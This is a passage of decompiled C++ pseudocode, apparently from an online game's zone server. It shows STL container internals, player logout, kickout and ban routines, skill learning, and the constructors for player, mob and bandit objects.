*)v2->_Mylast; v9 = (std::list,std::allocator > >::iterator *)v2->_Myfirst; _Ptr = v6; v14 = 0; std::_Uninit_copy>::const_iterator_GUILD_TOURNAMENT_LVGAP_const_____std::allocator>( v9, v8, (std::list,std::allocator > >::iterator *)v6, (std::allocator,std::allocator > >::iterator> *)v2, (std::_Nonscalar_ptr_iterator_tag)_Counta); v10 = v2->_Myfirst; if ( v10 ) v4 = v2->_Mylast - v10; if ( v10 ) operator delete(v2->_Myfirst); v2->_Myend = (unsigned int *)((char *)v7 + _Counta); v2->_Mylast = (unsigned int *)((char *)v7 + 4 * v4); v2->_Myfirst = (unsigned int *)v7; } } //----- (004FD29A) -------------------------------------------------------- void __usercall _L182251(int a1) { operator delete(*(void **)(a1 - 20)); _CxxThrowException(0, 0); } //----- (004FD2B0) -------------------------------------------------------- void __thiscall std::vector>::reserve(std::vector > *this, unsigned int _Count) { std::vector > *v2; // esi@1 Observer *v3; // edx@3 int v4; // edi@3 signed int v5; // ecx@4 void *v6; // eax@7 void *v7; // ebx@7 Observer *v8; // ST04_4@7 Observer *v9; // ST00_4@7 Observer *v10; // eax@7 int v11; // [sp+0h] [bp-20h]@1 void *_Ptr; // [sp+Ch] [bp-14h]@7 int *v13; // [sp+10h] [bp-10h]@1 int v14; // [sp+1Ch] [bp-4h]@7 unsigned int _Counta; // [sp+28h] [bp+8h]@7 v13 = &v11; v2 = this; if ( _Count > (unsigned int)((char *)&pathfindtable.pft_table[1411][1203].pfc_distance + 3) ) std::vector>::_Xlen(this); v3 = this->_Myfirst; v4 = 0; if ( v3 ) v5 = this->_Myend - v3; else v5 = 0; if ( v5 < _Count ) { _Counta = 16 * _Count; v6 = operator new(_Counta); v7 = v6; v8 = v2->_Mylast; v9 = v2->_Myfirst; _Ptr = v6; v14 = 0; std::_Uninit_copy>::iterator_Observer___std::allocator>( v9, v8, (Observer *)v6, &v2->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Counta); v10 = v2->_Myfirst; v14 = -1; if ( v10 ) v4 = v2->_Mylast - v10; if ( v10 ) { std::vector>::_Destroy(v2, v10, v2->_Mylast); operator delete(v2->_Myfirst); } v2->_Myend = (Observer *)((char *)v7 + _Counta); v2->_Mylast = (Observer *)((char *)v7 + 16 * v4); v2->_Myfirst = (Observer *)v7; } } //----- (004FD37D) -------------------------------------------------------- void __usercall _L182371(int a1) { operator delete(*(void **)(a1 - 20)); _CxxThrowException(0, 0); } //----- (004FD3A0) -------------------------------------------------------- std::pair,std::allocator,0> >::iterator,bool> *__thiscall std::_Tree_std::allocator_0>>::insert(std::_Tree,std::allocator,0> > *this, std::pair,std::allocator,0> >::iterator,bool> *result, const unsigned int *_Val) { const unsigned int *v3; // ebp@1 std::_Tree,std::allocator,0> > *v4; // edi@1 std::_Tree_nod,std::allocator,0> >::_Node *v5; // esi@1 std::_Tree_nod,std::allocator,0> >::_Node *v6; // eax@1 bool v7; // cl@1 const unsigned int v8; // edx@2 const unsigned int *v9; // edx@7 int v10; // edx@9 std::pair,std::allocator,0> >::iterator,bool> *v11; // eax@9 int v12; // ecx@12 char _Addleft; // [sp+Ch] [bp-4h]@1 v3 = _Val; v4 = this; v5 = this->_Myhead; v6 = v5->_Parent; v7 = 1; _Addleft = 1; if ( !v6->_Isnil ) { v8 = *_Val; do { v7 = v8 < v6->_Myval; v5 = v6; _Addleft = v8 < v6->_Myval; if ( v8 >= v6->_Myval ) v6 = v6->_Right; else v6 = v6->_Left; } while ( !v6->_Isnil ); } v9 = (const unsigned int *)v5; _Val = (const unsigned int *)v5; if ( v7 ) { if ( v5 == v4->_Myhead->_Left ) { v10 = *(_DWORD *)&std::_Tree_std::allocator_0>>::_Insert( v4, (std::_Tree,std::allocator,0> >::iterator *)&_Val, 1, v5, v3)->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]; v11 = result; result->second = 1; *(_DWORD *)&result->first.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v10; return v11; } std::_Tree_std::allocator_0>>::const_iterator::_Dec((std::_Tree,std::allocator,0> >::const_iterator *)&_Val); v9 = _Val; } if ( v9[3] >= *v3 ) { v11 = result; result->second = 0; *(_DWORD *)&result->first.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v9; } else { v12 = *(_DWORD *)&std::_Tree_std::allocator_0>>::_Insert( v4, (std::_Tree,std::allocator,0> >::iterator *)&_Val, _Addleft, v5, v3)->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]; v11 = result; *(_DWORD *)&result->first.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v12; result->second = 1; } return v11; } //----- (004FD460) -------------------------------------------------------- #error "4FD460: undefined or illegal type '#331' (funcsize=159)" //----- (004FD6D0) -------------------------------------------------------- signed int __thiscall ShineObjectClass::ShinePlayer::sp_Schedule_Kickout(void *this) { void *v1; // esi@1 int v2; // eax@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_Schedule_Kickout"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_Schedule_Kickout"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; (*(void (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 828))(v1); v2 = (unsigned __int8)ShineObjectManager::som_FreeObject(&shineobjmanager, *((_WORD *)v1 + 2), 0, 17); if ( !(_BYTE)v2 ) AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_Schedule_Kickout : Fail to object free", v2); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_Schedule_Kickout"); return 1; } //----- (004FD7A0) -------------------------------------------------------- signed int __thiscall ShineObjectClass::ShinePlayer::sp_Schedule_Logout(void *this) { void *v1; // esi@1 char *v2; // edi@3 ZoneBaseSession *v3; // eax@5 int v4; // eax@6 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_Schedule_Logout"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_Schedule_Logout"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( (unsigned __int8)(*(int (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 380))(v1) ) { (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD, _DWORD))(*(_DWORD *)v1 + 828))(v1, 0, 1, 9); v2 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 3121; *((_WORD *)v2 + 1) = -1; *((_DWORD *)v2 + 1) = -1; *(_DWORD *)(v2 + 10) = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 836))(v1); *((_WORD *)v2 + 4) = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 832))(v1); if ( ProtocolPacket::pp_SetPacketLen(&gpp, 14) ) { v3 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2wldman); ProtocolPacket::pp_SendPacket(&gpp, v3); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_Schedule_Logout : Packet Too Long", 14); } v4 = (unsigned __int8)ShineObjectManager::som_FreeObject(&shineobjmanager, *((_WORD *)v1 + 2), 0, 18); if ( !(_BYTE)v4 ) AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_Schedule_Kickout : Fail to object free", v4); *(_DWORD *)(*((_DWORD *)v1 + 5914) + 4) = 3; } else { ShineObjectClass::ShinePlayer::TimeScheduler::ts_Set( (ShineObjectClass::ShinePlayer::TimeScheduler *)((char *)v1 + 92156), (ShineObjectClass::ShinePlayer::TimeScheduler::TS_ReturnType (__thiscall *)(#440 *))&ShineObjectClass::ShinePlayer::sp_Schedule_Logout, 0, TSCW_LOGOUT, 0); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_Schedule_Logout"); return 1; } //----- (004FD910) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_CHAR_LOGOUTREADY_CMD(void *this, int netcmd, int len, __int16 handle) { void *v4; // esi@1 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_CHAR_LOGOUTCANCEL_CMD"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_CHAR_LOGOUTCANCEL_CMD"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( !(_S87_1 & 1) ) { _S87_1 |= 1u; cmc_75.cmc_AllowMode = 126; atexit(_E88_2); } if ( (1 << **((_BYTE **)v4 + 929)) & cmc_75.cmc_AllowMode ) { ShineObjectClass::ShinePlayer::TimeScheduler::ts_Set( (ShineObjectClass::ShinePlayer::TimeScheduler *)((char *)v4 + 92156), (ShineObjectClass::ShinePlayer::TimeScheduler::TS_ReturnType (__thiscall *)(#440 *))ShineObjectClass::ShinePlayer::sp_Schedule_Logout, 0, TSCW_LOGOUT, 13000); *((_DWORD *)v4 + 23044) = clockwatch.cw_CurrTick + 80; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_CHAR_LOGOUTCANCEL_CMD"); } //----- (004FDA10) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_USER_NORMALLOGOUT_CMD(void *this, int netcmd, int len, __int16 handle) { void *v4; // esi@1 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_USER_NORMALLOGOUT_CMD"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_USER_NORMALLOGOUT_CMD"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( !(_S91 & 1) ) { _S91 |= 1u; cmc_76.cmc_AllowMode = 126; atexit(_E92_0); } if ( (1 << **((_BYTE **)v4 + 929)) & cmc_76.cmc_AllowMode && clockwatch.cw_CurrTick > *((_DWORD *)v4 + 23044) ) ShineObjectClass::ShinePlayer::sp_Schedule_Logout(v4); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_USER_NORMALLOGOUT_CMD"); } //----- (004FDB00) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_Unmark(void *this, int when, char logoutpacket, unsigned __int8 SaveType) { void *v4; // esi@1 void *v5; // ecx@4 int v6; // eax@6 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_Unmark"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_Unmark"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( (unsigned __int8)(*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 1136))(v4) ) HuntLog::MobHuntLog::mhl_SendAll2Log((HuntLog::MobHuntLog *)((char *)v4 + 92192), (#440 *)v4); (*(void (__thiscall **)(void *))(*(_DWORD *)v4 + 784))(v4); ShineObjectClass::ShinePlayer::sp_CostumWeaponChargeDecrease_ToDB(v4); switch ( when ) { case 0: v5 = *(void **)((char *)v4 + 98); if ( v5 && FieldMap::fm_GetGuildTournamentSystem(v5) ) { v6 = FieldMap::fm_GetGuildTournamentSystem(*(void **)((char *)v4 + 98)); GuildTournamentSystem::PlayerUnRegister((GuildTournamentSystem *)v6, (#331 *)v4); } goto $L152879; case 3: $L152879: ShineObjectClass::ShinePlayer::sp_KQItemDrop(v4); WholeSaver::ws_save2DB(&wholesaver, (#331 *)v4, 0, SaveType); goto $L152881; case 2: $L152881: if ( (unsigned __int8)(*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 1136))(v4) == 6 ) ShineObjectClass::ShinePlayer::sp_HorseItemSave(v4); ShineObjectClass::ShineObject::so_Unmark(v4, when, logoutpacket, 3); if ( (unsigned __int8)(*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 304))(v4) ) (*(void (__thiscall **)(void *))(*(_DWORD *)v4 + 140))(v4); (*(void (__thiscall **)(void *))(*(_DWORD *)v4 + 2000))(v4); (*(void (__thiscall **)(void *))(*(_DWORD *)v4 + 2024))(v4); break; case 1: if ( *((_DWORD *)v4 + 23042) != 4 ) { WholeSaver::ws_save2DB(&wholesaver, (#331 *)v4, 0, SaveType); ShineObjectClass::ShinePlayer::TimeScheduler::ts_Set( (ShineObjectClass::ShinePlayer::TimeScheduler *)((char *)v4 + 92156), (ShineObjectClass::ShinePlayer::TimeScheduler::TS_ReturnType (__thiscall *)(#440 *))ShineObjectClass::ShinePlayer::sp_Schedule_Kickout, TSRT_RETURN, TSCW_LOGOUT, 10000); } break; default: break; } ShineObjectClass::ShinePlayer::sp_GuildStorageClose(v4); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_Unmark"); } //----- (004FDCB0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineAxialFlag::ShineAxialFlag(ShineObjectClass::ShineAxialFlag *this) { ShineObjectClass::ShineAxialFlag *v1; // esi@1 v1 = this; ShineObjectClass::ShineObject::ShineObject((int)this); *(_DWORD *)&v1->gap0[0] = &ShineObjectClass::ShineAxialFlag::_vftable_; v1->safm_vecRoutions._Myfirst = 0; v1->safm_vecRoutions._Mylast = 0; v1->safm_vecRoutions._Myend = 0; v1->safm_Screen = 0; *(_DWORD *)&v1->gap0[82] = (char *)v1 + 118; *(_DWORD *)&v1->gap0[78] = (char *)v1 + 110; } // 5C5D50: using guessed type int (*ShineObjectClass__ShineAxialFlag___vftable_)(); //----- (004FDD10) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::ShinePlayer(void *hd) { int v1; // esi@1 int v2; // eax@1 CParty::PARTY_SLOT *v3; // eax@1 int v4; // ecx@1 v1 = (int)hd; ShineObjectClass::ShineMobileObject::ShineMobileObject(); *(_DWORD *)v1 = &ShineObjectClass::ShinePlayer::_vftable_; ItemLotInspector::ItemLotInspector((ItemLotInspector *)(v1 + 7436)); *(_DWORD *)(v1 + 23365) = 0; *(_DWORD *)(v1 + 23361) = 0; *(_DWORD *)(v1 + 23357) = 0; *(_DWORD *)(v1 + 23353) = 0; TargetAnalyser_Player::TargetAnalyser_Player((TargetAnalyser_Player *)(v1 + 23660)); *(_DWORD *)(v1 + 23668) = &PacketContainer::_vftable_; *(_DWORD *)(v1 + 23672) = 0; *(_DWORD *)(v1 + 31868) = 0; MoveManager::MoveManager((DiceTaiSai *)(v1 + 31880)); BriefInformationCharacter::BriefInformationCharacter((BriefInformationCharacter *)(v1 + 31884)); PineScriptToken::pst_Clear((PineScriptToken *)(v1 + 32051)); MoveManager::MoveManager((DiceTaiSai *)(v1 + 32052)); *(_DWORD *)(v1 + 32074) = 0; *(_DWORD *)(v1 + 32070) = 0; *(_DWORD *)(v1 + 32066) = 0; *(_DWORD *)(v1 + 32062) = 0; *(_DWORD *)(v1 + 32124) = 0; *(_DWORD *)(v1 + 32120) = 0; *(_DWORD *)(v1 + 32116) = 0; *(_DWORD *)(v1 + 32184) = 0; *(_DWORD *)(v1 + 32180) = 0; *(_BYTE *)(v1 + 32172) = 0; CharacterInventory::CharacterInventory((CharacterInventory *)(v1 + 32200)); InventoryLocking::InventoryCellLockList::InventoryCellLockList((InventoryLocking::InventoryCellLockList *)(v1 + 57768)); ShineQuestDiary::ShineQuestDiary((ShineQuestDiary *)(v1 + 66048)); CharaterSkillList::CharaterSkillList((CharaterSkillList *)(v1 + 68240)); CharacterPassiveList::CharacterPassiveList((CharacterPassiveList *)(v1 + 68260)); AllOfRangeArgument::AllOfRangeArgument((AllOfRangeArgument *)(v1 + 68295)); ShineObjectClass::ShinePlayer::NPCProcess::NPCProcess((ShineObjectClass::ShinePlayer::NPCProcess *)(v1 + 68324)); ItemAccountStorage::ItemAccountStorage((ItemAccountStorage *)(v1 + 69448)); ItemRewardStorage::ItemRewardStorage((ItemRewardStorage *)(v1 + 86160)); BriefInfoBackup::BriefInfoBackup((BriefInfoBackup *)(v1 + 89040)); TreasureChestLocationManager::TreasureChestLocationManager((TreasureChestLocationManager *)(v1 + 89166)); StreetBoothSell::StreetBoothSell((StreetBoothSell *)(v1 + 89192)); StreetBoothBuy::StreetBoothBuy((StreetBoothBuy *)(v1 + 89560)); CCharacterTitleZone::CCharacterTitleZone((CCharacterTitleZone *)(v1 + 89936), &gCharacterTitleData); Metronome::Metronome((Metronome *)(v1 + 91036)); ChargedItemEffectList::ChargedEffectList::ChargedEffectList((ChargedItemEffectList::ChargedEffectList *)(v1 + 91064)); CChargedItem::CChargedItem((CChargedItem *)(v1 + 91728)); MoveManager::MoveManager((DiceTaiSai *)(v1 + 92152)); MoveManager::MoveManager((DiceTaiSai *)(v1 + 92153)); ShineObjectClass::ShinePlayer::TimeScheduler::TimeScheduler((ShineObjectClass::ShinePlayer::TimeScheduler *)(v1 + 92156)); HuntLog::MobHuntLog::MobHuntLog((HuntLog::MobHuntLog *)(v1 + 92192)); *(_DWORD *)(v1 + 92556) = 0; *(_DWORD *)(v1 + 92560) = 0; *(_DWORD *)(v1 + 92564) = 0; MobTargetAggresive::MobTargetAggresive((MobTargetAggresive *)(v1 + 92572)); *(_DWORD *)(v1 + 92572) = &MobTargetPlayerCaptivate::_vftable_; SpyNet::IntelligenceOffice4Mob::IntelligenceOffice4Mob((SpyNet::IntelligenceOffice4Mob *)(v1 + 92648)); *(_DWORD *)(v1 + 66040) = ShineObjectClass::ShinePlayer::sp_PointStone_NotInit; *(_DWORD *)(v1 + 66032) = ShineObjectClass::ShinePlayer::sp_PointStone_NotInit; *(_DWORD *)(v1 + 32184) = v1; CQuestZone::qz_SetObject((CQuestZone *)(v1 + 66048), (#440 *)v1); CCharacterTitleZone::ctz_SetObject((CCharacterTitleZone *)(v1 + 89936), (#331 *)v1); *(_DWORD *)(v1 + 89188) = &ShineObjectClass::ShinePlayer::BoothSell::board; InventoryLocking::InventoryCellLockList::icll_SetObject( (InventoryLocking::InventoryCellLockList *)(v1 + 57768), (#440 *)v1); PacketContainer::pcb_SetSocketSession((ORField *)(v1 + 23660), (ORColumnHeader *)v1); v2 = *(_DWORD *)(v1 + 32047); *(_DWORD *)(v1 + 3716) = v2 + 27; *(_DWORD *)(v1 + 94) = v1 + 89158; *(_DWORD *)(v1 + 78) = v2 + 18; *(_DWORD *)(v1 + 136) = v1 + 23660; *(_DWORD *)(v1 + 82) = v2 + 26; *(_DWORD *)(v1 + 89158) = 0; *(_BYTE *)(*(_DWORD *)(v1 + 94) + 4) = 0; *(_DWORD *)(v1 + 23656) = &ShineObjectClass::ShinePlayer::sp_defaultsocket; *(_DWORD *)(v1 + 31876) = &ShineObjectClass::ShineObject::so_dummypacketcontainer; *(_DWORD *)(v1 + 31872) = &ShineObjectClass::ShineObject::so_dummypacketcontainer; *(_WORD *)(v1 + 89920) = 8254; *(_WORD *)(v1 + 89924) = 0; *(_WORD *)(v1 + 89922) = 0; ShineObjectClass::ShinePlayer::so_ply_MH_SetMyHandle(v1, -1); *(_WORD *)(v1 + 23646) = -1; *(_DWORD *)(v1 + 23648) = 0; *(_DWORD *)(v1 + 92228) = 0; v3 = CParty::p_defaultslot(&partycontainer); v4 = *(_DWORD *)(v1 + 32047); *(_DWORD *)(v1 + 88948) = v3; LOBYTE(v3) = *(_BYTE *)(v1 + 23325) & 0xFB; *(_DWORD *)(v1 + 92272) = &ShineObjectClass::ShineObject::so_CostumWeaponChargeing; *(_BYTE *)(v1 + 92276) = 0; *(_DWORD *)(v1 + 92568) = 0; *(_BYTE *)(v1 + 92277) = 0; *(_BYTE *)(v1 + 23325) = (_BYTE)v3; *(_BYTE *)(v4 + 142) = 0; *(_DWORD *)(v1 + 23384) = 0; *(_DWORD *)(v1 + 23388) = 0; ShineObjectClass::ShinePlayer::so_ply_MH_InitFurnitureEmotionInfo(v1); std::vector>::reserve( (std::vector > *)(v1 + 92552), 0xAu); *(_BYTE *)(v1 + 23325) &= 0xE7u; ShineObjectClass::ShinePlayer::so_SetSpamerChatBan(v1, 0); return v1; } // 4F28D0: using guessed type int ShineObjectClass__ShineMobileObject__ShineMobileObject(void); // 5C2500: using guessed type int (__stdcall *PacketContainer___vftable_)(int hd); // 5C3380: using guessed type int (__stdcall *MobTargetPlayerCaptivate___vftable_)(int, #331 *pObj, int distancesquar); // 5C8940: using guessed type int (*ShineObjectClass__ShinePlayer___vftable_)(); // 603218: using guessed type int (__stdcall **ShineObjectClass__ShineObject__so_dummypacketcontainer)(int sklidx); // 1246F078: using guessed type struct ItemTotalInformation ShineObjectClass__ShineObject__so_CostumWeaponChargeing; //----- (004FE100) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_banning(void *this, int when) { void *v2; // esi@1 int v3; // edx@3 int v4; // eax@3 ShineObjectClass::RemoveWhen v5; // [sp+1Ch] [bp+0h]@3 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_banning"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_banning"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( (unsigned __int8)(*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1136))(v2) ) (*(void (__thiscall **)(void *))(*(_DWORD *)v2 + 2228))(v2); *(_DWORD *)(*((_DWORD *)v2 + 5914) + 4) = 3; v3 = *(_DWORD *)v2; *((_BYTE *)v2 + 92548) = 1; (*(void (__thiscall **)(void *))(v3 + 828))(v2); v4 = (unsigned __int8)ShineObjectManager::som_FreeObject(&shineobjmanager, *((_WORD *)v2 + 2), v5, 16); if ( !(_BYTE)v4 ) AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_Schedule_Kickout : Fail to object free", v4); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_banning"); } //----- (004FE200) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_LearnSkill(int this, unsigned __int16 skill) { int v2; // esi@1 v2 = this; CharaterSkillList::csl_Learn((CharaterSkillList *)(this + 68240), skill); *(_DWORD *)(v2 + 32151) |= 1u; } //----- (004FE220) -------------------------------------------------------- void __thiscall CharaterSkillList::csl_Learn(CharaterSkillList *this, unsigned __int16 skill) { unsigned int v2; // edi@1 CharaterSkillList *v3; // esi@1 int v4; // ebx@1 SkillDataBox::SkillDataIndex *v5; // eax@1 ActiveSkillInfo *v6; // eax@3 char v7; // cl@3 const char *v8; // eax@3 CharaterSkillList::CharSkill *v9; // eax@5 std::vector >::iterator v10; // edi@6 unsigned __int16 SkillInfo; // [sp+10h] [bp-14h]@6 unsigned int v12; // [sp+14h] [bp-10h]@6 __int16 v13; // [sp+18h] [bp-Ch]@6 int v14; // [sp+1Ch] [bp-8h]@6 int v15; // [sp+20h] [bp-4h]@6 v2 = clockwatch.cw_CurrTick; v3 = this; v4 = 0; v5 = SkillDataBox::operator__(&skilldatabox, skill); if ( v5 ) { v6 = v5->sdi_Activ; v7 = v6->DemandSk[0]; v8 = v6->DemandSk; if ( v7 != 45 ) { *(_DWORD *)&skillbtreeunion = BTree::operator__(&skillnametree, v8); if ( CharaterSkillList::csl_IsLearn(v3, skillbtreeunion) ) { v9 = CharaterSkillList::csl_GetSkillStruct(v3, skillbtreeunion); v2 = v9->cs_EndOfCooltime; v4 = v9->cs_bSave; } } SkillInfo = skill; v12 = v2; v15 = v4; v13 = 0; v14 = 0; std::vector>::push_back( &v3->csl_Skill, (CharaterSkillList::CharSkill *)&SkillInfo); v10 = (std::vector >::iterator)v3->csl_Skill._Mylast; ++v3->csl_SkillNumber; std::_Sort>::iterator_int_bool____cdecl____CharaterSkillList::CharSkill_const___CharaterSkillList::CharSkill_const___>( (std::vector >::iterator)v3->csl_Skill._Myfirst, v10, (signed int)(*(_DWORD *)&v10 - (unsigned int)v3->csl_Skill._Myfirst) / 20, CharaterSkillList::CharSkill::cs_Compare_STLVer); } else { AssertClass::ac_AssertFail( &shineassert, "void CharaterSkillList::csl_Learn(ShineSkillID skill) NotFind Skill ID ", skill); } } //----- (004FE310) -------------------------------------------------------- void __thiscall std::vector>::push_back(std::vector > *this, CharaterSkillList::CharSkill *_Val) { std::vector > *v2; // esi@1 CharaterSkillList::CharSkill *v3; // edi@1 int v4; // ecx@2 signed int v5; // edx@3 CharaterSkillList::CharSkill *v6; // edi@6 v2 = this; v3 = this->_Myfirst; if ( v3 ) { v5 = (signed int)((unsigned __int64)(1717986919i64 * (unsigned int)((char *)this->_Mylast - (char *)v3)) >> 32) >> 3; v4 = v5 + ((unsigned int)v5 >> 31); } else { v4 = 0; } if ( v3 && v4 < v2->_Myend - v3 ) { v6 = v2->_Mylast; std::_Uninit_fill_n>( v2->_Mylast, 1u, _Val, &v2->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Val); v2->_Mylast = v6 + 1; } else { std::vector>::insert( v2, (std::vector >::iterator *)&_Val, (std::vector >::iterator)v2->_Mylast, _Val); } } //----- (004FE3A0) -------------------------------------------------------- std::vector >::iterator *__thiscall std::vector>::insert(std::vector > *this, std::vector >::iterator *result, std::vector >::iterator _Where, CharaterSkillList::CharSkill *_Val) { std::vector > *v4; // edi@1 CharaterSkillList::CharSkill *v5; // esi@1 int v6; // esi@3 signed int v7; // edx@4 std::vector >::iterator *v8; // eax@5 v4 = this; v5 = this->_Myfirst; if ( v5 && this->_Mylast - v5 ) { v7 = (signed int)((unsigned __int64)(1717986919i64 * (*(_DWORD *)&_Where - (signed int)v5)) >> 32) >> 3; v6 = v7 + ((unsigned int)v7 >> 31); } else { v6 = 0; } std::vector>::_Insert_n( this, _Where, 1u, _Val); v8 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = &v4->_Myfirst[v6]; return v8; } //----- (004FE410) -------------------------------------------------------- void *__thiscall ShineObjectClass::ShineMob::ShineMob(void *hd) { void *v1; // esi@1 int v2; // eax@1 v1 = hd; ShineObjectClass::ShineMobileObject::ShineMobileObject(); *(_DWORD *)v1 = &ShineObjectClass::ShineMob::_vftable_; Metronome::Metronome((Metronome *)v1 + 929); TargetAnalyser_Player::TargetAnalyser_Player((TargetAnalyser_Player *)v1 + 930); MoveManager::MoveManager((DiceTaiSai *)((char *)v1 + 7452)); BriefInformationMob::BriefInformationMob((BriefInformationMob *)((char *)v1 + 7468)); *(_DWORD *)((char *)v1 + 7563) = 0; *(_DWORD *)((char *)v1 + 7559) = 0; *(_DWORD *)((char *)v1 + 7555) = 0; *((_DWORD *)v1 + 1897) = 0; *((_DWORD *)v1 + 1898) = 0; *((_DWORD *)v1 + 1899) = 0; MobTacticElement::MobActionArgument::Selector::Selector((MobTacticElement::MobActionArgument::Selector *)((char *)v1 + 7632)); MobTacticElement::MobActionArgument::Actor::Actor((MobTacticElement::MobActionArgument::Actor *)((char *)v1 + 8252)); HitMeList::EnemyList::EnemyList((HitMeList::EnemyList *)((char *)v1 + 8424)); *((_DWORD *)v1 + 2220) = 0; *((_DWORD *)v1 + 2221) = 0; *((_DWORD *)v1 + 2222) = 0; TickTimer::TickTimer((TickTimer *)((char *)v1 + 8908)); PacketContainer::pcb_SetSocketSession((ORField *)v1 + 930, (ORColumnHeader *)v1); v2 = *(_DWORD *)((char *)v1 + 7551); *(_DWORD *)((char *)v1 + 78) = v2 + 5; *((_DWORD *)v1 + 34) = (char *)v1 + 7440; *(_DWORD *)((char *)v1 + 82) = v2 + 13; *((_DWORD *)v1 + 1001) = charclassmanager.ccm_array[29]; *((_DWORD *)v1 + 929) = v2 + 2; *(_DWORD *)((char *)v1 + 8857) = v1; *(_DWORD *)((char *)v1 + 8853) = v1; *((_DWORD *)v1 + 2226) = 0; std::vector>::reserve( (std::vector > *)v1 + 474, 8u); return v1; } // 4F28D0: using guessed type int ShineObjectClass__ShineMobileObject__ShineMobileObject(void); // 5C67B0: using guessed type int (*ShineObjectClass__ShineMob___vftable_)(); //----- (004FE570) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineBandit::ShineBandit(ShineObjectClass::ShineBandit *this) { ShineObjectClass::ShineBandit *v1; // esi@1 PROTO_NC_BRIEFINFO_LOGINCHARACTER_CMD *v2; // eax@1 v1 = this; ShineObjectClass::ShineMob::ShineMob(this); *(_DWORD *)&v1->gap0[0] = &ShineObjectClass::ShineBandit::_vftable_; BriefInformationCharacter::BriefInformationCharacter(&v1->sb_MobBriefInfo); v2 = v1->sb_MobBriefInfo.bic_BriefInfo; *(_DWORD *)&v1->gap0[78] = (char *)v2 + 18; *(_DWORD *)&v1->gap0[3716] = (char *)v2 + 27; *(_DWORD *)&v1->gap0[82] = (char *)v2 + 26; } // 5C72E0: using guessed type int (*ShineObjectClass__ShineBandit___vftable_)(); //----- (004FE5E0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineServant::ShineServant(ShineObjectClass::ShineServant *this) { ShineObjectClass::ShineServant *v1; // esi@1 v1 = this; 